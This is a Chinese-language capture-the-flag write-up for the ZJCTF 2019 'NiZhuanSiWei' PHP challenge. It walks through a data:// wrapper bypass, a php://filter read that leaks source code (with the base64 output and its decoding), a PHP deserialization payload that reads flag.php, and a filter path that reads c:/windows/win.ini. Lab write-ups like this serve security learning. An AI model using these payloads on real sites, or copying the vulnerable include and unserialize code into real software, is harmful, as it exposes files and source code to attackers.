[ZJCTF 2019]NiZhuanSiWei
[ZJCTF 2019]NiZhuanSiWei
Step 1
开靶机,获得php源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
由if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
可知,读取text的内容需要是welcome to the zjctf
,而file_get_contents()函数是用于将文件的内容读入到一个字符串中。
这时候就需要将$text伪造成一个文件,所以就要用到php伪协议中的data://
协议,他的作用就是将字符串包装成一个文件来执行。
所以构造payload:
url/?text=data://text/plain,welcome to the zjctf
得到welcome to the zjctf的页面回显
Step 2
继续审计代码
include($file); //useless.php
该函数支持伪协议,而且if(preg_match("/flag/",$file))
表示不能在file中出现flag。
构造出payload:
url/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
回显
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
base64解密
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
Step 3
\(password = unserialize(\)password);
echo $password;
这个代码将
在序列化之后,赋值给password,password会被反序列化成原来的代码在赋值给password,然后echo $password,就相当于echo 了一个类,就会触发到我们写的代码里的__tostring()
然后我们将\(file=flag.php,这时`echo file_get_contents(\)this->file);`就能获得flag
<?php
class Flag{ //flag.php
public $file="flag.php";
}
$a=new Flag;
echo serialize($a);
?>
获得序列化后的代码,然后再构造payload:
url/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码获得flag
PHP伪协议
data伪协议
data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度。data URI 的语法如下:
data:[
] [;base64],
其中,mediatype 是媒体类型,例如 text/plain、image/jpeg、audio/mpeg 等;如果数据需要进行 base64 编码,则在 media type 后添加 ;base64 标记;data 是实际的数据内容。
php://filter
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用
本地文件无论allow_url_fopen,allow_url_include是否开启都可以使用,allow_url_fopen开启时文件操作函数里resource可以是远程的,allow_url_include也开启包含resource才可以是远程的。
用法:
php://filter/read=convert.base64-encode/resource=c:/windows/win.ini
其中
read是要执行的操作
convert.base64-encode的意思是读出的内容经过一次base64编码
resource后面跟的是读取内容的路径